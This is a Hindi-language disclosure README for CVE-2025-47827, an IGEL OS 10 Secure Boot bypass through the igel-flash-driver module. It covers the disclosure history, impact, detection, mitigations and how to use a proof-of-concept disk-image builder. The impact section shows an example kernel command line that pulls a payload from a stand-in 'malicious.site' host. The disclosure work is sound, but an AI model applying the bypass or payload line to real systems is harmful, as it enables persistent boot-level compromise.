CVE-2025-47827 के लिए PoC और भेद्यता रिपोर्ट
Proof-of-concept और CVE-2025-47827 के लिए भेद्यता रिपोर्ट।
IGEL OS v11 से पहले, Secure Boot को बायपास किया जा सकता है क्योंकि
igel-flash-driver मॉड्यूल क्रिप्टोग्राफ़िक हस्ताक्षर की गलत तरीके से पुष्टि करता है।
अंततः, एक नकली रूट फ़ाइलसिस्टम को एक असत्यापित SquashFS इमेज से माउंट किया जा सकता है।
IGEL OS 10 में igel-flash-driver Linux कर्नेल मॉड्यूल में क्रिप्टोग्राफ़िक हस्ताक्षर की गलत पुष्टि,
एक दुर्भावनापूर्ण अभिकर्ता को Secure Boot को बायपास करने की अनुमति देती है। यह Microsoft 3rd Party UEFI CA द्वारा हस्ताक्षरित shim को बूट करके किया जाता है, जो फिर GRUB और कमजोर कर्नेल को लोड करता है, दोनों IGEL Secure Boot Signing CA द्वारा हस्ताक्षरित होते हैं। एक बार जब कमजोर कर्नेल और एम्बेडेड initramfs लोड हो जाता है, तो डिस्क पर मौजूद असत्यापित SquashFS इमेज से एक दुर्भावनापूर्ण रूट फ़ाइलसिस्टम माउंट किया जा सकता है।
चूँकि कमजोर कर्नेल में kexec_load सिस्टम कॉल उपलब्ध है, वर्तमान में बूट किए गए कर्नेल को पूरी तरह से अविश्वसनीय से बदला जा सकता है, जिससे व्यावहारिक रूप से विश्वास की पूरी श्रृंखला का पालन करते हुए कोई भी ऑपरेटिंग सिस्टम बूट हो सकता है।
IGEL OS के बाद के संस्करणों में, मॉड्यूल रूट फ़ाइलसिस्टम SquashFS इमेज के हस्ताक्षर की सही ढंग से पुष्टि करता है। हालाँकि, कमजोर कर्नेल और पैच किए गए संस्करण दोनों एक ही प्रमाणपत्र से हस्ताक्षरित होते हैं, जिससे एक ही shim कमजोर और पैच किए गए दोनों संस्करणों को बूट कर सकता है।
CVE-2025-47827 के लिए प्रारंभिक वेक्टर स्ट्रिंग
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H थी,
जिससे CVSS स्कोर 8.4 (उच्च) प्राप्त हुआ।
14 अक्टूबर 2025 को, इसे बदलकर
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H कर दिया गया,
जिससे स्कोर घटकर 4.6 (मध्यम) हो गया।
इसके अतिरिक्त, मूल कमज़ोरी को CWE-347: क्रिप्टोग्राफ़िक हस्ताक्षर की गलत पुष्टि के रूप में परिभाषित किया गया था, लेकिन MSRC ने इसे CWE-324: समाप्ति तिथि के बाद कुंजी का उपयोग के रूप में निर्दिष्ट किया है।
IGEL और Microsoft दोनों से संपर्क किया गया और उन्हें इस भेद्यता के बारे में सूचित किया गया, क्रमशः 6 दिसंबर 2024 और 31 मार्च 2025 को, इससे पहले कि विवरण 29 मई 2025 को सार्वजनिक किए गए।
चूँकि IGEL OS 10 असमर्थित है और भेद्यता सीधे shim में मौजूद नहीं है, किसी भी पक्ष ने कोई समाधान नहीं सुझाया है। Microsoft ने निम्नलिखित उत्तर दिया:
जाँच करने पर, हमने निर्धारित किया है कि यह सबमिशन सेवारत हेतु सुरक्षा भेद्यता की परिभाषा को पूरा नहीं करता है, क्योंकि IGEL OS v10 अब समर्थित नहीं है और समस्या कर्नेल मॉड्यूल में है, shim में नहीं। केवल shim पर MSFT प्रमाणपत्र द्वारा हस्ताक्षर किए गए हैं।
IGEL ने 2 जून 2025 को CVE-2025-47827 के लिए एक सुरक्षा सूचना प्रकाशित की।
13 जून 2025 को, मैंने इसकी रिपोर्ट Microsoft को फिर से की, और निम्नलिखित प्रतिक्रिया प्राप्त की:
यद्यपि आपकी रिपोर्ट में कुछ अच्छी जानकारी शामिल थी, यह Microsoft की सेवारत हेतु सुरक्षा भेद्यता की आवश्यकता को पूरा नहीं करती है। रिपोर्ट की गई समस्या कर्नेल मॉड्यूल में है, shim में नहीं, और केवल shim पर MSFT प्रमाणपत्र द्वारा हस्ताक्षर किए गए हैं। kexec पहले से ही डिज़ाइन के अनुसार सिक्योर बूट को बायपास करने की अनुमति देता है (संदर्भ: kexec कमांड लाइन इन लिनक्स - लिनक्स एक्सपर्ट बेटर 2025)।
यदि समस्या किसी बूट ड्राइवर/घटक में होती, तो यह MSRC की सेवारत मानदंडों को पूरा करती। यह Linux वितरण के कर्नेल ड्राइवर में एक भेद्यता है। यह UEFI "ExitBootServices" के बाद आता है, जिसका अर्थ है कि यह Secure Boot बायपास नहीं है। उपयोगकर्ता के पास केवल OS स्तर पर कोड निष्पादन है, बूट नहीं।
इस भेद्यता के बारे में विभिन्न समाचार लेखों के प्रकाशन के बाद, shim अनुरक्षकों ने Microsoft और IGEL के साथ समाधान पर चर्चा करने के लिए समन्वय किया।
समाधान पर पहुँचने के बाद, मैंने 20 अक्टूबर 2025 को MSRC पर एक और मामला बनाया, जिसमें इन shims को रद्द करने में देरी के पीछे का कारण, CVSS वेक्टर स्ट्रिंग और CWE में संशोधन, और उनकी अपडेट गाइड में यह क्यों बताया गया कि भेद्यता सार्वजनिक रूप से प्रकट नहीं हुई थी, इसके बारे में पूछा। मुझे निम्नलिखित प्रतिक्रिया मिली:
IGEL भेद्यता जो ठीक की गई थी, वह Secure Boot बायपास नहीं है। यह एक Linux-विशिष्ट कर्नेल अखंडता बायपास है और Windows को प्रभावित नहीं करता है। IGEL shims पुराने हैं और नए SBAT-आधारित रद्दीकरण का समर्थन नहीं करते हैं। इसलिए, Microsoft ने अन्य भेद्यताओं से संभावित शोषण से बचाने के लिए रद्दीकरण जारी किए, जो SBAT द्वारा संरक्षित किए गए हैं।
Jeffrey Sutherland, प्रिंसिपल लीड प्रोग्राम मैनेजर, ने PR पर उत्तर दिया यह समझाने के लिए कि, SBAT की कमी के कारण, shims को DBX द्वारा रद्द करना पड़ा, और IGEL ने किसी भी अनपेक्षित परिणाम से बचने के लिए अतिरिक्त समय का अनुरोध किया। उन्होंने समन्वित भेद्यता प्रकटीकरण के अनुसार, शोधकर्ता और शामिल पक्षों के बीच संचार बनाए रखने में विफलता के लिए भी माफी माँगी।
Secure Boot बायपास शोषण से एक अज्ञात बूटकिट/कर्नेल-स्तरीय रूटकिट का विकास हो सकता है, जिसके बदले में कई निहितार्थ हो सकते हैं, जैसे:
रद्दीकरण या मैन्युअल हस्तक्षेप के बिना, Secure Boot उन सभी मशीनों पर बेकार हो गया है जो Microsoft 3rd Party UEFI CA पर भरोसा करती हैं, जो लेखन के समय अधिकांश उपकरणों के लिए डिफ़ॉल्ट है।
यदि kexec के लिए उपयोग किया जाता है, तो इस भेद्यता का उपयोग किसी वैध सिस्टम को चुपचाप और दुर्भावनापूर्ण रूप से संशोधित करने के लिए किया जा सकता है, बिना Secure Boot को प्रभावित किए।
कर्नेल को पूरी तरह से बदला जा सकता है, जिससे कर्नेल-स्तर पर दुर्भावनापूर्ण कोड चल सके, जिससे सिस्टम के सभी संसाधनों, जिसमें मेमोरी, CPU और कनेक्टेड डिवाइस शामिल हैं, तक अप्रतिबंधित पहुँच प्राप्त हो सके।
यह मेमोरी से एन्क्रिप्शन कुंजियाँ डंप करने, दुर्भावनापूर्ण प्रक्रियाओं को बिना किसी प्रतिबंध के निष्पादित करने और मैलवेयर को पता लगाने से बचने की अनुमति देगा।
वैध कर्नेल की कमांड-लाइन को संशोधित किया जा सकता है, ताकि सुरक्षा मॉड्यूल को अक्षम किया जा सके या init पैरामीटर को बदला जा सके, जिससे वास्तविक रूट माउंट होने के बाद एक दुर्भावनापूर्ण पेलोड निष्पादित हो सके। उदाहरण के लिए (modprobe, DHCP, chmod, संक्षिप्तता के लिए छोड़ा गया):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
यह एक वैध निष्पादन योग्य (executable) को बदल सकता है, PID 1 को हाईजैक कर सकता है या बूट पर स्वचालित रूप से प्रारंभ हो सकता है, आसानी से रूट एक्सेस प्राप्त कर सकता है।
`/proc/cmdline` को [हाईजैक](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) किया जा सकता है
बाइंड माउंट के साथ किसी भी संशोधन को छिपाने के लिए।
अधिक जानकारी के लिए [Linux दस्तावेज़ीकरण](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) देखें।
### स्थायित्व
प्रभाव तब तक स्थायी रहेगा जब तक आवश्यक EFI बाइनरी और कर्नेल मौजूद हैं, और सिस्टम फर्मवेयर द्वारा बूट करने के लिए कॉन्फ़िगर किए गए हैं।
ऑपरेटिंग सिस्टम अपडेट बूट ऑर्डर या सिक्योर बूट फॉरबिडन सिग्नेचर डेटाबेस (DBX) में बदलाव का कारण बन सकते हैं, जो बाइनरी को निष्पादित होने से रोक सकते हैं। हालांकि, यदि ऑपरेटिंग सिस्टम भी समझौता किया जाता है, तो यह सुधारात्मक कार्रवाई वापस ली जा सकती है।
इसके अतिरिक्त, चूंकि EFI बूट ऑर्डर ऑपरेटिंग सिस्टम द्वारा कॉन्फ़िगरेबल है, EFI वेरिएबल्स में संशोधन के माध्यम से, विशेषाधिकार प्राप्त मैलवेयर आवश्यक बूट फ़ाइलों को स्थापित करके और तदनुसार बूट ऑर्डर कॉन्फ़िगर करके स्थायित्व प्राप्त कर सकता है या आगे विशेषाधिकार बढ़ा सकता है।
## पहचान
यह मानते हुए कि इस भेद्यता का शोषण करने के लिए एक पूर्ण कर्नेल-स्तरीय रूटकिट बनाया गया है, चल रहे सिस्टम के बारे में डेटा पर भरोसा नहीं किया जा सकता है।
पहचान के तरीकों में शामिल हैं:
- शामिल बाइनरी की उपस्थिति की जाँच करना
- ज्ञात फ़ाइलों के हस्ताक्षर/अखंडता की पुष्टि करना, उदा. [rkhunter](https://rkhunter.sourceforge.net/)
- व्यवहार विश्लेषण, विशेष रूप से नेटवर्क वातावरण में
कम से कम, सिस्टम फर्मवेयर और IGEL कर्नेल द्वारा बूट किए जाने वाले हस्ताक्षरित EFI बाइनरी को समझौता किए गए सिस्टम पर मौजूद होना चाहिए, लेकिन, जिस [स्तर](https://en.wikipedia.org/wiki/Protection_ring) पर दुर्भावनापूर्ण कोड निष्पादित होगा, उसके कारण, [रूटकिट](https://en.wikipedia.org/wiki/Rootkit) रनटाइम पर खुद को छुपा सकता है।
समझौते के अन्य संकेतक मैलवेयर के कार्यों पर निर्भर करते हैं, जिसने इस भेद्यता का शोषण किया है। उदाहरण के लिए, बूट किया गया कर्नेल बदला जा सकता है, रूट फाइलसिस्टम पर फाइलों को संशोधित किया जा सकता है या अप्रत्याशित प्रोग्राम चल रहे हो सकते हैं।
## शमन
> [!IMPORTANT]
> Microsoft ने IGEL के साथ समझौते के बाद 20 अक्टूबर 2025 को प्रासंगिक शिम के हस्ताक्षरों को रद्द करते हुए एक [हस्ताक्षरित DBX](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed) जारी किया।
>
> विंडोज सिस्टम के लिए, कृपया [MSRC अपडेट गाइड](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827) देखें।
>
> [fwupd](https://fwupd.org/) के साथ लिनक्स-आधारित सिस्टम को अपडेट करने के लिए, [लिनक्स फाउंडेशन (UEFI रिवोकेशन) सिक्योर बूट dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware) को संस्करण `20250902` और उससे आगे अपडेट करें।
>
> अधिक जानकारी के लिए, [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272) देखें।
बूट श्रृंखला को समझौता होने से रोकने के लिए, कमजोर GRUB/कर्नेल इमेज पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले प्रमाणपत्र को रद्द/अविश्वस्त किया जाना चाहिए, या प्रभावित कर्नेल (या शिम) के SHA-256 हैश को DBX या MOKX अस्वीकार सूची में जोड़ा जाना चाहिए।
अधिक जानकारी के लिए [NSA साइबर सुरक्षा निदेशालय का दस्तावेज़ीकरण](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md) देखें।
वैकल्पिक रूप से, प्रारंभिक शिम को निष्पादित होने से रोकने के लिए, Microsoft तृतीय पक्ष UEFI CA को अविश्वस्त किया जा सकता है, लेकिन इससे अन्य वैध अनुप्रयोगों में अनपेक्षित व्यवधान हो सकता है।
कुछ उपकरणों में फर्मवेयर सेटिंग्स में यह एक विकल्प है।
[sbctl के लिए ArchWiki पृष्ठ](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) निम्नलिखित चेतावनी देता है:
> [!WARNING]
> कुछ फर्मवेयर पर सिक्योर बूट सक्षम होने पर Microsoft की कुंजियों से हस्ताक्षरित और सत्यापित किए जाते हैं। उपकरणों को मान्य न करने से वे खराब हो सकते हैं।
यह [Secured-core PCs के लिए डिफ़ॉल्ट](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot) है:
> सिक्योर बूट की डिफ़ॉल्ट स्थिति में विश्वास का एक विस्तृत दायरा है, जिसके परिणामस्वरूप ग्राहक उन बूट घटकों पर भरोसा कर सकते हैं जिनकी उन्हें आवश्यकता नहीं हो सकती है। चूंकि Microsoft तृतीय पक्ष UEFI CA प्रमाणपत्र सभी Linux वितरणों के बूटलोडर पर हस्ताक्षर करता है, UEFI डेटाबेस में Microsoft तृतीय पक्ष UEFI CA हस्ताक्षर पर भरोसा करने से सिस्टम का हमले की सतह बढ़ जाती है। एक ग्राहक जो केवल एकल Linux वितरण पर भरोसा करने और बूट करने का इरादा रखता है, वह सभी वितरणों पर भरोसा करेगा - उनकी वांछित कॉन्फ़िगरेशन से अधिक। किसी भी बूटलोडर में भेद्यता सिस्टम को उजागर करती है और ग्राहक को एक ऐसे बूटलोडर के लिए शोषण के जोखिम में डालती है जिसका वे कभी उपयोग करने का इरादा नहीं रखते थे, जैसा कि हाल की भेद्यताओं में देखा गया है, उदाहरण के लिए [GRUB बूटलोडर के साथ](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) या [फर्मवेयर-स्तरीय रूटकिट](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit) बूट घटकों को प्रभावित करते हुए।
> [Secured-core PCs](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) को सिक्योर बूट को सक्षम करने और ग्राहकों को उनके PCs का सबसे सुरक्षित कॉन्फ़िगरेशन प्रदान करने के लिए, डिफ़ॉल्ट रूप से, Microsoft तृतीय पक्ष UEFI CA हस्ताक्षर पर अविश्वास करने के लिए कॉन्फ़िगर करने की आवश्यकता होती है।
### मापित बूट
यदि सिस्टम IGEL शिम के साथ बूट किया जाता है, तो [TPM PCR माप](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) बदल जाएंगे।
विंडोज BitLocker के साथ डिफ़ॉल्ट रूप से [मापित बूट](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot) का उपयोग करता है, यदि सिस्टम अपेक्षित बाइनरी के साथ बूट नहीं किया जाता है तो एन्क्रिप्शन कुंजियों को दुर्गम बना देता है।
लिनक्स-आधारित सिस्टम पर, [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) का उपयोग TPM में LUKS कुंजी को नामांकित करने और इसे विभिन्न PCRs (डिफ़ॉल्ट रूप से PCR 7) से बांधने के लिए किया जा सकता है।
मापित बूट केवल एक विश्वसनीय वातावरण में एन्क्रिप्शन कुंजी जारी करके, वैध OS को संशोधन से बचाता है। हालांकि, यह एक अनधिकृत OS को बूट होने से नहीं रोकता है; यह सिक्योर बूट की जिम्मेदारी है।
इसलिए, एक उपयोगकर्ता अभी भी जोखिम में हो सकता है, भले ही उनका OS मापित बूट का उपयोग करता हो। उदाहरण के लिए:
- IGEL शिम और दुर्भावनापूर्ण OS बूट करें, जबकि सिक्योर बूट पास करें
- वास्तविक OS की उपस्थिति और व्यवहार का अनुकरण करें
- उपयोगकर्ता क्रेडेंशियल दर्ज करता है जो हमलावर को भेजे जाते हैं
- वैकल्पिक रूप से, वैध OS में रीबूट करें
जबकि वैध OS को मापित बूट के साथ संशोधित नहीं किया जा सकता है, क्योंकि एन्क्रिप्शन कुंजी TPM PCR माप[^1] से बंधी है, सिस्टम फिर भी दुर्भावनापूर्ण सॉफ़्टवेयर बूट कर सकता है।
[^1]: BitLocker पुनर्प्राप्ति कुंजियाँ TPM से बंधी नहीं हैं।
### यूनिफाइड कर्नेल इमेज
एक [यूनिफाइड कर्नेल इमेज](https://uapi-group.org/specifications/specs/unified_kernel_image/) का उपयोग सभी बूट संसाधनों (यानी कर्नेल, प्रारंभिक रैमडिस्क, कर्नेल कमांड-लाइन, आदि) को एक एकल UEFI PE फ़ाइल में बंडल करने के लिए किया जा सकता है।
इन इमेज पर किसी भी अन्य EFI निष्पादन योग्य की तरह हस्ताक्षर किए जा सकते हैं।
बूट सुरक्षा में सुधार करने और बूट श्रृंखला के हमले की सतह को कम करने के लिए, एक यूनिफाइड कर्नेल इमेज जनरेट करें और इसे उपयोगकर्ता-जनित कुंजियों से हस्ताक्षरित करें, किसी भी विक्रेता/OEM कुंजियों पर अविश्वास करें।
## बाइनरी
शामिल बाइनरी नीचे दी गई हैं:
### विवरण
निष्पादन क्रम में:
- `boot*.efi` -> Microsoft द्वारा हस्ताक्षरित शिम
- `igel*.efi` -> IGEL द्वारा हस्ताक्षरित GRUB
- `bzImage` -> Linux इमेज (एम्बेडेड initramfs), IGEL द्वारा हस्ताक्षरित
`CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` विषय के लिए प्रमाणपत्र [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der) में पाया जा सकता है।
इस प्रमाणपत्र का SHA-256 फिंगरप्रिंट है
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`।
इन बाइनरी के हस्ताक्षरों को `sbverify` (से [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)) का उपयोग करके सत्यापित किया जा सकता है:```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (udc10.06.220.iso से):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
[`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461) और [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427) के हैश DBX के माध्यम से रद्द कर दिए गए हैं।
## अवधारणा का प्रमाण
IGEL OS इंस्टॉलेशन ISO को डाउनलोड करने, निकालने और संशोधित SquashFS रूट फाइलसिस्टम के साथ एक बूट करने योग्य डिस्क इमेज बनाने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शेल स्क्रिप्ट प्रदान की गई है।
वैकल्पिक रूप से, डिस्क इमेज के बजाय, ISO को इमेज में एक EFI सिस्टम पार्टीशन जोड़कर पुनः पैक किया जा सकता है। लीगेसी BIOS सिस्टम के लिए समर्थन बनाए रखने के लिए एक हाइब्रिड MBR का भी उपयोग किया जा सकता है, लेकिन यह इस परियोजना के दायरे से परे है। इंस्टॉलेशन ISO में लीगेसी सिस्टम के लिए एक ISOLINUX बूटलोडर है, जो GRUB `core.img` को चेनलोड करता है।
### ओवरलेज़
HTTP पर लाइव Arch Linux वातावरण को बूट करने का प्रदर्शन करने के लिए उदाहरण ओवरले निर्देशिकाएँ प्रदान की गई हैं।
`init` स्क्रिप्ट कर्नेल कमांड-लाइन पैरामीटर में निर्दिष्ट कर्नेल को `kexec` के साथ लोड करेगी, फिर रीबूट करेगी। प्रतिस्थापन कर्नेल पर हस्ताक्षर होने की आवश्यकता नहीं है, यदि `--kexec-file-syscall` के बजाय `--kexec-syscall` पास किया जाता है।
GRUB कॉन्फ़िगरेशन फ़ाइल EFI सिस्टम पार्टीशन पर संग्रहीत होती है, जिसे आसानी से संशोधित किया जा सकता है। अन्य फ़ाइलों को ESP पर रखा जा सकता है, जैसे कि कर्नेल, इनिट्रामफ़्स या SquashFS इमेज, जिन्हें पहले रूट फाइलसिस्टम से `kexec` के साथ बूट किया जा सकता है। यह स्थानीय रूप से किसी अन्य सिस्टम को चेनलोड करने की अनुमति देता है, जिसे प्रत्येक बार ISO को पुनर्बनाए बिना एक सामान्य सिस्टम के रूप में अपडेट किया जा सकता है।
वैकल्पिक रूप से, आवश्यक फ़ाइलों को `curl` के साथ HTTP पर डाउनलोड किया जा सकता है, फिर बूट किया जा सकता है, जिससे एक छोटी डिस्क इमेज बनती है।
यह एक निर्दोष उदाहरण है कि भेद्यता का शोषण कैसे किया जा सकता है, लेकिन दुर्भावनापूर्ण व्यवहार प्रदर्शित करने के लिए `init` स्क्रिप्ट या `kexec` कर्नेल को संशोधित किया जा सकता है।
### निर्भरताएँ
स्क्रिप्ट को निम्नलिखित पैकेजों की आवश्यकता है:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, और बाकी सब कुछ)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
ये किसी भी वितरण के आधिकारिक पैकेज रिपॉजिटरी से उपलब्ध होने चाहिए।
`igelfs-cli` को [PyPI](https://pypi.org/project/igelfs/) से एक वर्चुअल वातावरण में स्थापित किया जा सकता है:```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### उदाहरण
500 MB की डिस्क इमेज बनाएं, `esp` और `root` की सामग्री को क्रमशः EFI System Partition और SquashFS में कॉपी करते हुए।```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
परिणामी छवि एक ऐसी मशीन को बूट करेगी जिसमें Secure Boot सक्षम है, जो Microsoft 3rd Party UEFI CA पर भरोसा करता है।
कच्ची डिस्क छवि को भौतिक उपकरण पर लिखा जा सकता है, या वर्चुअल मशीन के साथ उपयोग के लिए रूपांतरित किया जा सकता है।
रिलीज़ पृष्ठ देखें एक उदाहरण बूट करने योग्य डिस्क छवि और प्रासंगिक बाइनरी की प्रतियों के लिए।
उदाहरण में एक संशोधित IGEL OS SquashFS छवि है जो kexec के साथ HTTPS पर Arch Linux को डाउनलोड और बूट करने के लिए है। मिरर GRUB कॉन्फ़िगरेशन में पाया जाता है।
mkdiskimage IGEL OS 10 UDC संग्रह डाउनलोड करता है, जिसमें इंस्टॉलेशन ISO होता हैosirrox के साथ ISO निकाला जाता है, ताकि EFI बाइनरी, ddimage.bin और bzImage प्राप्त हो सकेigelfs-cli का उपयोग करके, सिस्टम SquashFS को ddimage.bin से निकाला जाता है, जिसे बाद में unsquashfs के साथ निकाला जाता हैmksquashfs के साथ पुनः बनाया जाता है और igelfs-cli का उपयोग करके एक नया ddimage.bin बनाया जाता है, जिसमें SquashFS विभाजन #1 (sys) के रूप में होता हैddimage.bin को xorriso के साथ एक ISO छवि में जोड़ा जाता हैISO में केवल ddimage.bin और boot_id फ़ाइल संकेत है, जबकि ESP में GRUB के लिए EFI बाइनरी और फ़ाइलें हैं।
रूट फ़ाइलसिस्टम को buildroot के साथ बनाया जा सकता है ताकि फ़ाइल आकार को बहुत कम किया जा सके।
bzImage के लिए कर्नेल मॉड्यूल SquashFS छवि में जोड़े जाएंगे ताकि फ़ाइलसिस्टम, नेटवर्किंग आदि के लिए समर्थन जोड़ा जा सके, साथ ही किसी भी अन्य आवश्यकताओं के साथ।
रूट SquashFS बनाने के लिए एक उदाहरण defconfig, जिसमें kexec है और कोई init स्क्रिप्ट नहीं है, buildroot में पाया जा सकता है। अन्य फ़ाइलों को जोड़ने के लिए ओवरले निर्देशिका का उपयोग करें, जैसे init स्क्रिप्ट, या तो BR2_ROOTFS_OVERLAY या mkdiskimage के साथ।
kexec यूज़रस्पेस बाइनरी डिफ़ॉल्ट रूप से IGEL OS 10 सिस्टम विभाजन में उपलब्ध नहीं है, इसलिए यदि इसकी आवश्यकता है, तो इसे पैच किए गए SquashFS छवि में भी जोड़ा जा सकता है।
kexec बाइनरी को staticx का उपयोग करके अपनी लाइब्रेरी निर्भरताओं के साथ बंडल किया जा सकता है, ताकि IGEL OS SquashFS छवि पर गुम साझा लाइब्रेरी से बचा जा सके:```sh
staticx "$(which kexec)" "./root/sbin/kexec"
Note: IGEL initramfs `parse_cmdline` सबस्ट्रिंग खोज के कारण, कर्नेल कमांड-लाइन में कहीं भी `init` निर्दिष्ट करना पहले initramfs द्वारा व्याख्या किया जाएगा, इसलिए `init` को पहले कर्नेल पैरामीटर के माध्यम से `kexec` कर्नेल को पास नहीं किया जा सकता है।
### SSL
यदि SSL आवश्यक है, उदाहरण के लिए HTTPS के लिए, तो `/etc/ssl/certs/ca-certificates.crt` को SquashFS इमेज में जोड़ें।
### Requirements
ISO को पहला विभाजन होना चाहिए, जिससे EFI सिस्टम पार्टीशन (ESP) अपरंपरागत रूप से विभाजन #2 बनता है। ऐसा initramfs `init` स्क्रिप्ट द्वारा उपकरणों की खोज के कारण होता है।
इसी प्रकार, स्थापित होने पर, IGEL OS विभाजन #2 और #3 पर दो ESP बनाता है।
GRUB को `/boot/igel-ud-converter` की आवश्यकता है, जो `/boot/grub/igel.conf` के समान फाइलसिस्टम पर उपस्थित होना चाहिए:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
bzImage के एम्बेडेड initramfs का init स्क्रिप्ट कर्नेल कमांड-लाइन पर दिए गए boot_id से मेल खाने वाली फ़ाइल, जिसके आगे एक डॉट (.) लगा हो, ISO फ़ाइलसिस्टम पर मौजूद होने की आवश्यकता है। boot_id को IGEL_UDC_TO से शुरू होना चाहिए, जैसे .IGEL_UDC_TO_210319143827।
ये फ़ाइलें खाली हो सकती हैं, लेकिन मौजूद होनी चाहिए।
SquashFS में initramfs init स्क्रिप्ट के लिए एक /igfimage निर्देशिका भी होनी चाहिए, अन्यथा रूट बदलना विफल हो जाएगा।
एक उपयोगकर्ता इस भेद्यता का जानबूझकर शोषण करके, Secure Boot को कॉन्फ़िगर किए बिना, अपनी मशीन पर Linux-आधारित ऑपरेटिंग सिस्टम बूट कर सकता है।
इसके अलावा, चूंकि एक पूर्ण Linux वातावरण प्रभावी रूप से बूटलोडर के रूप में उपयोग किया जाएगा, init स्क्रिप्ट को अगले कर्नेल को लोड करने के लिए पारंपरिक बूटलोडर की तुलना में अधिक जटिल तरीकों से अनुकूलित किया जा सकता है, जैसे नेटवर्किंग, एन्क्रिप्शन आदि। दूसरी ओर, इसका उपयोग समझौते के संकेतों को छिपाने के लिए किया जा सकता है, डिस्क पर संग्रहीत करने के बजाय रनटाइम पर संसाधन प्राप्त करके।
विभिन्न परियोजनाएं पहले से ही इस उद्देश्य के लिए kexec का उपयोग करती हैं, जैसे kexecboot और petitboot।
भेद्यता विवरण:
शमन:
अद्यतन समीक्षाएँ:
समाचार लेख:
सॉफ्टवेयर और संबंधित परियोजनाएँ:
CVE-2025-47827 को MIT लाइसेंस के तहत लाइसेंस प्राप्त है
सभी के लिए स्वतंत्र रूप से उपयोग, संशोधन और साझा करने के लिए।
यह परियोजना इस आशा में वितरित की जाती है कि यह उपयोगी होगी, लेकिन बिना किसी वारंटी के।
[!IMPORTANT] कृपया इस जानकारी के साथ जिम्मेदार रहें। इस भेद्यता का प्रचार उपयोगकर्ताओं को सलाह देने और नुकसान से बचने के लिए संभावित शमन का सुझाव देने के लिए है।
एक अच्छा इंसान बनें।
यदि आपको यह परियोजना उपयोगी लगी, तो कृपया दान करने पर विचार करें। किसी भी राशि की बहुत सराहना की जाती है! धन्यवाद 😃
fdisk के साथ विभाजित की जाती है
dd के साथ लिखा गया)